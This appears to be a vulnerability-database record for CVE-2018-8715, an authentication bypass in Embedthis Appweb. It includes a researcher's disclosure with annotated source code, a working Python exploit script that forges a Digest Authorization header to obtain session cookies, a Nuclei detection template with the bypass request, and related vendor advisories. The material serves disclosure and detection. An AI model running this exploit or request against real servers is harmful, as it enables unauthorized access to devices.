### Vulnerability Summary
A critical vulnerability in the EmbedThis HTTP library, and Appweb versions 5.5.x, 6.x, and 7.x including the latest version present in the git repository.
In detail, due to a logic flaw, with a forged HTTP request it is possible to bypass the authentication for form and digest login types.
### Confirmed Vulnerable
Appweb version 7.0.2 and prior
### Credit
An independent security researcher, Davide Quarta (@_ocean) and Truel IT, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor Response
Vendor response was exceptionally quick, within 2 days from reporting the vulnerability to them they had a patch available and new version Appweb version 7.0.3 and information available to the public: https://github.com/embedthis/appweb/issues/610
### CVE
CVE-2018-8715
### Vulnerability Details
Due to a logical flaw in the authentication procedure, knowing the target username, it is possible to completely bypass authentication of both form and digest type authentications, by means of a crafted HTTP POST request.
File http/httpLib.c – function authCondition()
This function is responsible for calling the two functions that are responsible of authentication: getCredentials, and httpLogin. Notice the lack of checks around httpGetCredentials, it will be useful later.
```
14559 static int authCondition(HttpConn *conn, HttpRoute *route, HttpRouteOp *op)
14560 {
14561 HttpAuth *auth;
14562 cchar *username, *password;
14563
14564 assert(conn);
14565 assert(route);
14566
14567 auth = route->auth;
14568 if (!auth || !auth->type) {
14569 /* Authentication not required */
14570 return HTTP_ROUTE_OK;
14571 }
14572 if (!httpIsAuthenticated(conn)) {
14573 httpGetCredentials(conn, &username, &password);
14574 if (!httpLogin(conn, username, password)) {
14575 if (!conn->tx->finalized) {
14576 if (auth && auth->type) {
14577 (auth->type->askLogin)(conn);
14578 } else {
14579 httpError(conn, HTTP_CODE_UNAUTHORIZED, "Access Denied, login required");
14580 }
14581 /* Request has been denied and a response generated. So OK to accept this route. */
14582 }
14583 return HTTP_ROUTE_OK;
14584 }
14585 }
14586 if (!httpCanUser(conn, NULL)) {
14587 httpTrace(conn, "auth.check", "error", "msg:'Access denied, user is not authorized for access'");
14588 if (!conn->tx->finalized) {
14589 httpError(conn, HTTP_CODE_FORBIDDEN, "Access denied. User is not authorized for access.");
14590 /* Request has been denied and a response generated. So OK to accept this route. */
14591 }
14592 }
14593 /* OK to accept route. This does not mean the request was authenticated - an error may have been already generated */
14594 return HTTP_ROUTE_OK;
14595 }
```
File http/httpLib.c – function httpGetCredentials()
This function receives two pointers to char arrays that will contain the username and password parsed from the request. Since there are no checks in authCondition, it doesn’t matter if the “parseAuth” function fail, this means we can insert in the WWW-Authenticate header or in the post data for authentication any field we want:
```
1640 /*
1641 Get the username and password credentials. If using an in-protocol auth scheme like basic|digest, the
1642 rx->authDetails will contain the credentials and the parseAuth callback will be invoked to parse.
1643 Otherwise, it is expected that "username" and "password" fields are present in the request parameters.
1644
1645 This is called by authCondition which thereafter calls httpLogin
1646 */
1647 PUBLIC bool httpGetCredentials(HttpConn *conn, cchar **username, cchar **password)
1648 {
1649 HttpAuth *auth;
1650
1651 assert(username);
1652 assert(password);
1653 *username = *password = NULL;
1654
1655 auth = conn->rx->route->auth;
1656 if (!auth || !auth->type) {
1657 return 0;
1658 }
1659 if (auth->type) {
1660 if (conn->authType && !smatch(conn->authType, auth->type->name)) {
1661 if (!(smatch(auth->type->name, "form") && conn->rx->flags & HTTP_POST)) {
1662 /* If a posted form authentication, ignore any basic|digest details in request */
1663 return 0;
1664 }
1665 }
1666 if (auth->type->parseAuth && (auth->type->parseAuth)(conn, username, password) < 0) {
1667 return 0;
1668 }
1669 } else {
1670 *username = httpGetParam(conn, "username", 0);
1671 *password = httpGetParam(conn, "password", 0);
1672 }
1673 return 1;
1674 }
```
File http/httpLib.c – function httpLogin()
This function will check for the username to be not null, when there is already a session associated, the password pointer can instead be null.
```
1686 PUBLIC bool httpLogin(HttpConn *conn, cchar *username, cchar *password)
1687 {
1688 HttpRx *rx;
1689 HttpAuth *auth;
1690 HttpSession *session;
1691 HttpVerifyUser verifyUser;
1692
1693 rx = conn->rx;
1694 auth = rx->route->auth;
1695 if (!username || !*username) {
1696 httpTrace(conn, "auth.login.error", "error", "msg:'missing username'");
1697 return 0;
1698 }
1699 if (!auth->store) {
1700 mprLog("error http auth", 0, "No AuthStore defined");
1701 return 0;
1702 }
1703 if ((verifyUser = auth->verifyUser) == 0) {
1704 if (!auth->parent || (verifyUser = auth->parent->verifyUser) == 0) {
1705 verifyUser = auth->store->verifyUser;
1706 }
1707 }
1708 if (!verifyUser) {
1709 mprLog("error http auth", 0, "No user verification routine defined on route %s", rx->route->pattern);
1710 return 0;
1711 }
1712 if (auth->username && *auth->username) {
1713 /* If using auto-login, replace the username */
1714 username = auth->username;
1715 password = 0;
1716 }
1717 if (!(verifyUser)(conn, username, password)) {
1718 return 0;
1719 }
1720 if (!(auth->flags & HTTP_AUTH_NO_SESSION) && !auth->store->noSession) {
1721 if ((session = httpCreateSession(conn)) == 0) {
1722 /* Too many sessions */
1723 return 0;
1724 }
1725 httpSetSessionVar(conn, HTTP_SESSION_USERNAME, username);
1726 httpSetSessionVar(conn, HTTP_SESSION_IP, conn->ip);
1727 }
1728 rx->authenticated = 1;
1729 rx->authenticateProbed = 1;
1730 conn->username = sclone(username);
1731 conn->encoded = 0;
1732 return 1;
1733 }
<em>File http/httpLib.c – function configVerfiyUser()</em>
The following function will first check for the presence of a valid user, either because it was already set in the session, or because it was passed, since we are able to pass a null password (line 2031), we can bypass the actual checks and successfully authenticate reaching line 2055.
2014 /*
2015 Verify the user password for the "config" store based on the users defined via configuration directives.
2016 Password may be NULL only if using auto-login.
2017 */
2018 static bool configVerifyUser(HttpConn *conn, cchar *username, cchar *password)
2019 {
2020 HttpRx *rx;
2021 HttpAuth *auth;
2022 bool success;
2023 char *requiredPassword;
2024
2025 rx = conn->rx;
2026 auth = rx->route->auth;
2027 if (!conn->user && (conn->user = mprLookupKey(auth->userCache, username)) == 0) {
2028 httpTrace(conn, "auth.login.error", "error", "msg: 'Unknown user', username:'%s'", username);
2029 return 0;
2030 }
2031 if (password) {
2032 if (auth->realm == 0 || *auth->realm == '\0') {
2033 mprLog("error http auth", 0, "No AuthRealm defined");
2034 }
2035 requiredPassword = (rx->passwordDigest) ? rx->passwordDigest : conn->user->password;
2036 if (sncmp(requiredPassword, "BF", 2) == 0 && slen(requiredPassword) > 4 && isdigit(requiredPassword[2]) &&
2037 requiredPassword[3] == ':') {
2038 /* Blowifsh */
2039 success = mprCheckPassword(sfmt("%s:%s:%s", username, auth->realm, password), conn->user->password);
2040
2041 } else {
2042 if (!conn->encoded) {
2043 password = mprGetMD5(sfmt("%s:%s:%s", username, auth->realm, password));
2044 conn->encoded = 1;
2045 }
2046 success = smatch(password, requiredPassword);
2047 }
2048 if (success) {
2049 httpTrace(conn, "auth.login.authenticated", "context", "msg:'User authenticated', username:'%s'", username);
2050 } else {
2051 httpTrace(conn, "auth.login.error", "error", "msg:'Password failed to authenticate', username:'%s'", username);
2052 }
2053 return success;
2054 }
2055 return 1;
2056 }
```
To be able to bypass the authentication we need to be able to pass a null password pointer, fortunately, both for form and digest authentication, the functions used to parse authentication details (line 1666) will allow us to set a null password pointer, and even with an error returned, in the end, it won’t be checked by authCondition, allowing us to completely bypass authentication, the only condition to exploit this is to know a username in the hashmap.
To overcome this limitation, it must be considered that the size of the hashmap is usually small, and the hash algorithm (FNV) used in the hashmap is weak: with a limited number of tries it could be possible to find a collision, and login without knowing a valid username (untested).
{"id": "SSV:97181", "type": "seebug", "bulletinFamily": "exploit", "title": "AppWeb Authentication Bypass (Digest, Basic and Forms)(CVE-2018-8715)", "description": "### Vulnerability Summary\r\nA critical vulnerability in the EmbedThis HTTP library, and Appweb versions 5.5.x, 6.x, and 7.x including the latest version present in the git repository.\r\n\r\nIn detail, due to a logic flaw, with a forged HTTP request it is possible to bypass the authentication for form and digest login types.\r\n\r\n### Confirmed Vulnerable\r\nAppweb version 7.0.2 and prior\r\n\r\n### Credit\r\nAn independent security researcher, Davide Quarta (@_ocean) and Truel IT, has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program.\r\n\r\nVendor Response\r\nVendor response was exceptionally quick, within 2 days from reporting the vulnerability to them they had a patch available and new version Appweb version 7.0.3 and information available to the public: https://github.com/embedthis/appweb/issues/610\r\n\r\n### CVE\r\nCVE-2018-8715\r\n\r\n### Vulnerability Details\r\nDue to a logical flaw in the authentication procedure, knowing the target username, it is possible to completely bypass authentication of both form and digest type authentications, by means of a crafted HTTP POST request.\r\n\r\nFile http/httpLib.c \u2013 function authCondition()\r\nThis function is responsible for calling the two functions that are responsible of authentication: getCredentials, and httpLogin. Notice the lack of checks around httpGetCredentials, it will be useful later.\r\n```\r\n14559 static int authCondition(HttpConn *conn, HttpRoute *route, HttpRouteOp *op)\r\n14560 {\r\n14561 HttpAuth *auth;\r\n14562 cchar *username, *password;\r\n14563\r\n14564 assert(conn);\r\n14565 assert(route);\r\n14566\r\n14567 auth = route->auth;\r\n14568 if (!auth || !auth->type) {\r\n14569 /* Authentication not required */\r\n14570 return HTTP_ROUTE_OK;\r\n14571 }\r\n14572 if (!httpIsAuthenticated(conn)) {\r\n14573 httpGetCredentials(conn, &username, &password);\r\n14574 if (!httpLogin(conn, username, password)) {\r\n14575 if (!conn->tx->finalized) {\r\n14576 if (auth && auth->type) {\r\n14577 (auth->type->askLogin)(conn);\r\n14578 } else {\r\n14579 httpError(conn, HTTP_CODE_UNAUTHORIZED, \"Access Denied, login required\");\r\n14580 }\r\n14581 /* Request has been denied and a response generated. So OK to accept this route. */\r\n14582 }\r\n14583 return HTTP_ROUTE_OK;\r\n14584 }\r\n14585 }\r\n14586 if (!httpCanUser(conn, NULL)) {\r\n14587 httpTrace(conn, \"auth.check\", \"error\", \"msg:'Access denied, user is not authorized for access'\");\r\n14588 if (!conn->tx->finalized) {\r\n14589 httpError(conn, HTTP_CODE_FORBIDDEN, \"Access denied. User is not authorized for access.\");\r\n14590 /* Request has been denied and a response generated. So OK to accept this route. */\r\n14591 }\r\n14592 }\r\n14593 /* OK to accept route. This does not mean the request was authenticated - an error may have been already generated */\r\n14594 return HTTP_ROUTE_OK;\r\n14595 }\r\n```\r\n\r\nFile http/httpLib.c \u2013 function httpGetCredentials()\r\nThis function receives two pointers to char arrays that will contain the username and password parsed from the request. Since there are no checks in authCondition, it doesn\u2019t matter if the \u201cparseAuth\u201d function fail, this means we can insert in the WWW-Authenticate header or in the post data for authentication any field we want:\r\n```\r\n1640 /*\r\n1641 Get the username and password credentials. If using an in-protocol auth scheme like basic|digest, the\r\n1642 rx->authDetails will contain the credentials and the parseAuth callback will be invoked to parse.\r\n1643 Otherwise, it is expected that \"username\" and \"password\" fields are present in the request parameters.\r\n1644\r\n1645 This is called by authCondition which thereafter calls httpLogin\r\n1646 */\r\n1647 PUBLIC bool httpGetCredentials(HttpConn *conn, cchar **username, cchar **password)\r\n1648 {\r\n1649 HttpAuth *auth;\r\n1650\r\n1651 assert(username);\r\n1652 assert(password);\r\n1653 *username = *password = NULL;\r\n1654\r\n1655 auth = conn->rx->route->auth;\r\n1656 if (!auth || !auth->type) {\r\n1657 return 0;\r\n1658 }\r\n1659 if (auth->type) {\r\n1660 if (conn->authType && !smatch(conn->authType, auth->type->name)) {\r\n1661 if (!(smatch(auth->type->name, \"form\") && conn->rx->flags & HTTP_POST)) {\r\n1662 /* If a posted form authentication, ignore any basic|digest details in request */\r\n1663 return 0;\r\n1664 }\r\n1665 }\r\n1666 if (auth->type->parseAuth && (auth->type->parseAuth)(conn, username, password) < 0) {\r\n1667 return 0;\r\n1668 }\r\n1669 } else {\r\n1670 *username = httpGetParam(conn, \"username\", 0);\r\n1671 *password = httpGetParam(conn, \"password\", 0);\r\n1672 }\r\n1673 return 1;\r\n1674 }\r\n```\r\n\r\nFile http/httpLib.c \u2013 function httpLogin()\r\nThis function will check for the username to be not null, when there is already a session associated, the password pointer can instead be null.\r\n```\r\n1686 PUBLIC bool httpLogin(HttpConn *conn, cchar *username, cchar *password)\r\n1687 {\r\n1688 HttpRx *rx;\r\n1689 HttpAuth *auth;\r\n1690 HttpSession *session;\r\n1691 HttpVerifyUser verifyUser;\r\n1692\r\n1693 rx = conn->rx;\r\n1694 auth = rx->route->auth;\r\n1695 if (!username || !*username) {\r\n1696 httpTrace(conn, \"auth.login.error\", \"error\", \"msg:'missing username'\");\r\n1697 return 0;\r\n1698 }\r\n1699 if (!auth->store) {\r\n1700 mprLog(\"error http auth\", 0, \"No AuthStore defined\");\r\n1701 return 0;\r\n1702 }\r\n1703 if ((verifyUser = auth->verifyUser) == 0) {\r\n1704 if (!auth->parent || (verifyUser = auth->parent->verifyUser) == 0) {\r\n1705 verifyUser = auth->store->verifyUser;\r\n1706 }\r\n1707 }\r\n1708 if (!verifyUser) {\r\n1709 mprLog(\"error http auth\", 0, \"No user verification routine defined on route %s\", rx->route->pattern);\r\n1710 return 0;\r\n1711 }\r\n1712 if (auth->username && *auth->username) {\r\n1713 /* If using auto-login, replace the username */\r\n1714 username = auth->username;\r\n1715 password = 0;\r\n1716 }\r\n1717 if (!(verifyUser)(conn, username, password)) {\r\n1718 return 0;\r\n1719 }\r\n1720 if (!(auth->flags & HTTP_AUTH_NO_SESSION) && !auth->store->noSession) {\r\n1721 if ((session = httpCreateSession(conn)) == 0) {\r\n1722 /* Too many sessions */\r\n1723 return 0;\r\n1724 }\r\n1725 httpSetSessionVar(conn, HTTP_SESSION_USERNAME, username);\r\n1726 httpSetSessionVar(conn, HTTP_SESSION_IP, conn->ip);\r\n1727 }\r\n1728 rx->authenticated = 1;\r\n1729 rx->authenticateProbed = 1;\r\n1730 conn->username = sclone(username);\r\n1731 conn->encoded = 0;\r\n1732 return 1;\r\n1733 }\r\n \r\n<em>File http/httpLib.c \u2013 function configVerfiyUser()</em>\r\nThe following function will first check for the presence of a valid user, either because it was already set in the session, or because it was passed, since we are able to pass a null password (line 2031), we can bypass the actual checks and successfully authenticate reaching line 2055.\r\n\r\n2014 /*\r\n2015 Verify the user password for the \"config\" store based on the users defined via configuration directives.\r\n2016 Password may be NULL only if using auto-login.\r\n2017 */\r\n2018 static bool configVerifyUser(HttpConn *conn, cchar *username, cchar *password)\r\n2019 {\r\n2020 HttpRx *rx;\r\n2021 HttpAuth *auth;\r\n2022 bool success;\r\n2023 char *requiredPassword;\r\n2024\r\n2025 rx = conn->rx;\r\n2026 auth = rx->route->auth;\r\n2027 if (!conn->user && (conn->user = mprLookupKey(auth->userCache, username)) == 0) {\r\n2028 httpTrace(conn, \"auth.login.error\", \"error\", \"msg: 'Unknown user', username:'%s'\", username);\r\n2029 return 0;\r\n2030 }\r\n2031 if (password) {\r\n2032 if (auth->realm == 0 || *auth->realm == '\\0') {\r\n2033 mprLog(\"error http auth\", 0, \"No AuthRealm defined\");\r\n2034 }\r\n2035 requiredPassword = (rx->passwordDigest) ? rx->passwordDigest : conn->user->password;\r\n2036 if (sncmp(requiredPassword, \"BF\", 2) == 0 && slen(requiredPassword) > 4 && isdigit(requiredPassword[2]) &&\r\n2037 requiredPassword[3] == ':') {\r\n2038 /* Blowifsh */\r\n2039 success = mprCheckPassword(sfmt(\"%s:%s:%s\", username, auth->realm, password), conn->user->password);\r\n2040\r\n2041 } else {\r\n2042 if (!conn->encoded) {\r\n2043 password = mprGetMD5(sfmt(\"%s:%s:%s\", username, auth->realm, password));\r\n2044 conn->encoded = 1;\r\n2045 }\r\n2046 success = smatch(password, requiredPassword);\r\n2047 }\r\n2048 if (success) {\r\n2049 httpTrace(conn, \"auth.login.authenticated\", \"context\", \"msg:'User authenticated', username:'%s'\", username);\r\n2050 } else {\r\n2051 httpTrace(conn, \"auth.login.error\", \"error\", \"msg:'Password failed to authenticate', username:'%s'\", username);\r\n2052 }\r\n2053 return success;\r\n2054 }\r\n2055 return 1;\r\n2056 }\r\n```\r\n\r\nTo be able to bypass the authentication we need to be able to pass a null password pointer, fortunately, both for form and digest authentication, the functions used to parse authentication details (line 1666) will allow us to set a null password pointer, and even with an error returned, in the end, it won\u2019t be checked by authCondition, allowing us to completely bypass authentication, the only condition to exploit this is to know a username in the hashmap.\r\n\r\nTo overcome this limitation, it must be considered that the size of the hashmap is usually small, and the hash algorithm (FNV) used in the hashmap is weak: with a limited number of tries it could be possible to find a collision, and login without knowing a valid username (untested).", "published": "2018-03-15T00:00:00", "modified": "2018-03-15T00:00:00", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://www.seebug.org/vuldb/ssvid-97181", "reporter": "My Seebug", "references": [], "cvelist": ["CVE-2018-8715"], "lastseen": "2018-06-26T22:19:35", "viewCount": 646, "enchantments": {"score": {"value": 8.3, "vector": "NONE"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2018-8715"]}, {"type": "nessus", "idList": ["APPWEB_SERVER_7_0_3.NASL"]}, {"type": "paloalto", "idList": ["PAN-SA-2018-0008"]}, {"type": "wallarmlab", "idList": ["WALLARMLAB:FFA8AFCAD5B1D254095419667B30984F"]}], "rev": 4}, "backreferences": {"references": [{"type": "canvas", "idList": ["NGINX"]}, {"type": "cve", "idList": ["CVE-2018-8715"]}, {"type": "paloalto", "idList": ["PAN-SA-2018-0008"]}, {"type": "wallarmlab", "idList": ["WALLARMLAB:FFA8AFCAD5B1D254095419667B30984F"]}]}, "exploitation": null, "epss": [{"cve": "CVE-2018-8715", "epss": "0.009770000", "percentile": "0.811010000", "modified": "2023-03-14"}], "vulnersScore": 8.3}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-97181", "sourceData": "\n import sys\r\nimport requests\r\nimport argparse\r\n\r\nprint \"\"\"----------------------------------------------------------------\r\nEmbedthis Appweb/Http Zero-Day Form/Digest Authentication Bypass\r\n----------------------------------------------------------------\r\n\"\"\"\r\n\r\ndef test_digest(r):\r\n auth = [\"realm\", \"domain\", \"qop\", \"nonce\", \"opaque\", \"algorithm\", \"stale\", \"MD5\", \"FALSE\", \"Digest\"]\r\n wwwauthenticate = r.headers.get('WWW-Authenticate')\r\n\r\n if wwwauthenticate is None:\r\n return False\r\n\r\n for k in auth:\r\n if k not in wwwauthenticate:\r\n return False\r\n\r\n return True\r\n\r\n\r\ndef test_form(r):\r\n \"\"\" extremely shoddy recognition, expect false positives \"\"\"\r\n\r\n auth = [(\"X-XSS-Protection\", \"1; mode=block\"), (\"X-Content-Type-Options\", \"nosniff\"), (\"ETag\", None), (\"Date\", None)]\r\n potential_auth = [(\"Last Modified\", \"\"), (\"X-Frame-Options\", \"SAMEORIGIN\"), (\"Accept-Ranges\", \"bytes\"), (\"Content-Type\", \"text/html\")]\r\n\r\n if r.headers.get(\"WWW-Authenticate\") is not None:\r\n return False\r\n\r\n for k, v in auth:\r\n rv = r.headers.get(k)\r\n if not rv:\r\n return False\r\n if v is not None and v != rv:\r\n return False\r\n\r\n potential_count = 0\r\n for k, v in potential_auth:\r\n rv = r.headers.get(k)\r\n if rv and v != \"\" and v == rv:\r\n potential_count += 1\r\n\r\n print \"[+] Optional matchings: {}/{}\".format(potential_count, len(potential_auth))\r\n return True\r\n\r\n\r\ndef test(url):\r\n \"\"\" Newer EmbedThis HTTP Library/Appweb versions do not advertise their presence in headers, sometimes might be proxied by nginx/apache, we can only look for a default headers configuration \"\"\"\r\n\r\n r = requests.get(url)\r\n\r\n # EmbedThis GoAhead uses a similar headers configuration, let's skip it explicitly\r\n serv = r.headers.get(\"Server\")\r\n if serv and \"GoAhead\" in serv:\r\n return False\r\n\r\n if test_digest(r):\r\n return \"digest\"\r\n elif test_form(r):\r\n return \"form\"\r\n return None\r\n\r\n\r\ndef exploit(url, username=\"joshua\", authtype=\"digest\"):\r\n payload = { \"username\": username }\r\n\r\n headers = {\r\n \"authorization\": \"Digest username={}\".format(username),\r\n \"user-agent\": \"TruelBot\",\r\n \"content-type\": \"application/x-www-form-urlencoded\",\r\n }\r\n\r\n if authtype == \"digest\":\r\n r = requests.get(url, data=payload, headers=headers)\r\n else:\r\n r = requests.post(url, data=payload, headers=headers)\r\n\t\t\r\n\tprint(r.content)\r\n\t\r\n if r.status_code != 200 or len(r.cookies) < 1:\r\n print \"[!] Exploit failed, HTTP status code {}\".format(r.status_code)\r\n return\r\n\r\n print \"[*] Succesfully exploited, here's your c00kie:\\n {}\".format(dict(r.cookies))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n parser = argparse.ArgumentParser(description=\"Test&Exploit EmbedThis form/digest authentication bypass (CVE-XXXX-YYYY)\")\r\n parser.add_argument('-t', '--target', required=True, help=\"specify the target url (i.e., http(s)://target-url[:port]/)\")\r\n parser.add_argument('-u', '--user', required=True, help=\"you need to know a valid user name\")\r\n parser.add_argument('-c', '--check', action='store_true', default=False, help=\"test for exploitability without running the actual exploit\")\r\n parser.add_argument('-f', '--force', action='store_true', default=False, help=\"skip exploitability test\")\r\n args = parser.parse_args()\r\n\r\n url = args.target\r\n username = args.user\r\n t = \"form\" # default will try form/post\r\n if args.check or not args.force:\r\n t = test(url)\r\n\r\n if t is None:\r\n print \"[!] Target does not appear to be Appweb/Embedthis HTTP with form/post auth (force with -f)\"\r\n else:\r\n print \"[+] Potential appweb/embedthis http, {} method\".format(t)\r\n\r\n if not args.check:\r\n print \"[!] Exploiting {}, user {}!\".format(url, username)\r\n exploit(url, username, t)\n ", "status": "cve,poc,details", "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1647589307, "score": 1698837070, "epss": 1678859451}, "_internal": {"score_hash": "34ff0d657a2003364db5d197508f7c67"}}
{"paloalto": [{"lastseen": "2023-12-06T16:14:29", "description": "Palo Alto Networks makes use of a 3rd-party component impacted by CVE-2018-8715. This issue has been confirmed to present a risk for denial of service to the PAN-OS Management Web Interface. (Ref # PAN-93089, CVE-2018-8715)\nA specially crafted HTTP POST request with an invalid \u201cIf-modified\" header field may cause a NULL dereference and cause a denial of service condition. This vulnerability can be triggered without login or authentication and could result in a crash of the management service.\nThis issue affects PAN-OS 6.1.20 and earlier, PAN-OS 7.1.16 and earlier, PAN-OS 8.0.9 and earlier, and PAN-OS 8.1.0. Global Protect is NOT affected.\n\n**Work around:**\nThis issue affects the web-based management interface of PAN-OS and is strongly mitigated by following best practices for securing the management interface of PAN-OS. Our best practices guidelines reduce the exposure of the management interface to potential attackers. Please review the Best Practices for Securing Administrative Access in the PAN-OS technical documentation, available at: https://www.paloaltonetworks.com/documentation/80/pan-os/pan-os/getting-started/best-practices-for-securing-administrative-access.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-07-20T00:30:00", "type": "paloalto", "title": "Denial of Service in PAN-OS Management Web Interface ", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-8715"], "modified": "2018-07-20T00:30:00", "id": "PAN-SA-2018-0008", "href": "https://securityadvisories.paloaltonetworks.com/CVE-2018-8715", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "prion": [{"lastseen": "2023-11-22T02:53:03", "description": "The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-03-15T01:29:00", "type": "prion", "title": "Authentication flaw", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-8715"], "modified": "2020-02-17T16:15:00", "id": "PRION:CVE-2018-8715", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2018-8715", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "nuclei": [{"lastseen": "2023-12-06T22:05:33", "description": "The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-30T00:00:00", "type": "nuclei", "title": "AppWeb - Authentication Bypass", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-8715"], "modified": "2023-12-06T00:00:00", "id": "NUCLEI:CVE-2018-8715", "href": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2018/CVE-2018-8715.yaml", "sourceData": "id: CVE-2018-8715\n\ninfo:\n name: AppWeb - Authentication Bypass\n author: milo2012\n severity: high\n description: The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.\n remediation: |\n Apply the necessary patches or updates provided by the vendor to fix the authentication bypass vulnerability in AppWeb.\n reference:\n - https://github.com/embedthis/appweb/issues/610\n - https://blogs.securiteam.com/index.php/archives/3676\n - https://security.paloaltonetworks.com/CVE-2018-8715\n - https://nvd.nist.gov/vuln/detail/CVE-2018-8715\n classification:\n cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 8.1\n cve-id: CVE-2018-8715\n cwe-id: CWE-287\n epss-score: 0.00927\n epss-percentile: 0.81182\n cpe: cpe:2.3:a:embedthis:appweb:*:*:*:*:*:*:*:*\n metadata:\n max-request: 1\n vendor: embedthis\n product: appweb\n tags: cve,cve2018,appweb,auth-bypass,embedthis\n\nhttp:\n - raw:\n - |\n GET / HTTP/1.1\n Host: {{Hostname}}\n Authorization: Digest username=admin\n\n matchers-condition: and\n matchers:\n - type: word\n part: body\n words:\n - '<a class=\"logo\" href=\"https://embedthis.com/\"> </a>'\n\n - type: status\n status:\n - 200\n# digest: 4a0a00473045022100828c3e7dd833241c6a19c77993809dbf79901773b7114051e577e21e7410068b02202346de976f534a8bbef4b1de37fba43de8d0b2293a9a3f81cfeea234e40404a2:922c64590222798bb761d5b6d8e72950", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "wallarmlab": [{"lastseen": "2019-05-29T16:19:43", "bulletinFamily": "blog", "cvelist": ["CVE-2018-8715"], "description": "### How IoT can pave the way for data breaches: Understanding the _Appweb Authorization Bypass_\n\n#### An engineering POV into everyday vulnerability.\n\nThe everyday things you rely on may leave you vulnerable to attack. And it may not be the things themselves, but what is hiding inside. Are your IoT devices, printers, and otherwise friendly, functional helpers vectors for data breaches?\n\nWe have to look into the tiny software component embedded in millions of machines to understand why their security is often inadequate. This is the story of Appweb: a web management interface for your commonplace household devices that can open the door into your homes to hackers.\n\nEvery day, we rely on the IoT for printers, music, and even our thermostat. Are we safe from hackers?\n\n### What is the security threat inside your trusted device?\n\nEvery device you interact with \u2014 and the devices that interact with each other, like your Nest thermostat \u2014 has an interface. That interface may not even be visible, unlike a cell phone\u2019s surface. It may be the \u201cpersonality\u201d of your Alexa. Inside your IoT devices is a tiny web server that manages the interface. It takes up as little as 2MB of memory. This tiny server supports all modern protocols. Appweb operates in the server of functional devices like printers, routers, IP phones, and WIFI. This software runs in millions of everyday devices made by household and office giants like Kodak and Oracle ([check out the bigger 